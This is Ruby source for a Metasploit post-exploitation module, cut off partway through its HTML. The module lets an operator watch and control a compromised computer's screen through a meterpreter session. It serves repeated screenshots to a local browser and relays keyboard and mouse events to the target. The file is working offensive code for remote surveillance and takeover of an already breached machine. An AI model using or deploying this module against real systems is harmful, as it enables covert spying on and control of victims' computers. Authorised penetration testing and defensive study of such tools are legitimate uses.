##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Manage the screen of the target meterpreter session',
'Description' => %q{
This module allows you to view and control the screen of the target computer via
a local browser window. The module continually screenshots the target screen and
also relays all mouse and keyboard events to session.
},
'License' => MSF_LICENSE,
'Author' => [ 'timwr'],
'Platform' => [ 'linux', 'win', 'osx' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_ui_desktop_screenshot
stdapi_ui_send_keyevent
stdapi_ui_send_mouse
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
end
def run
@last_sequence = 0
@key_sequence = {}
exploit
end
def perform_event(query)
action = query['action']
if action == 'key'
key = query['key']
keyaction = query['keyaction']
session.ui.keyevent_send(key, keyaction) if key
else
x = query['x']
y = query['y']
session.ui.mouse(action, x, y)
end
end
def supports_espia?(session)
return false unless session.platform == 'windows'
session.core.use('espia') unless session.espia
session.espia.present?
rescue RuntimeError
false
end
# rubocop:disable Metrics/MethodLength
def on_request_uri(cli, request)
if request.uri =~ %r{/screenshot$}
data = ''
if supports_espia?(session)
data = session.espia.espia_image_get_dev_screen
else
data = session.ui.screenshot(50)
end
send_response(cli, data, { 'Content-Type' => 'image/jpeg', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache' })
elsif request.uri =~ %r{/event$}
query = JSON.parse(request.body)
seq = query['i']
if seq <= @last_sequence + 1
perform_event(query)
@last_sequence = seq
else
@key_sequence[seq] = query
end
loop do
event = @key_sequence[@last_sequence + 1]
break unless event
perform_event(event)
@last_sequence += 1
@key_sequence.delete(@last_sequence)
end
send_response(cli, '')
else
print_status("Sent screenshare html to #{cli.peerhost}")
uripath = get_resource
uripath += '/' unless uripath.end_with? '/'
html = %^
Metasploit screenshare
An error occurred when loading the latest screen share.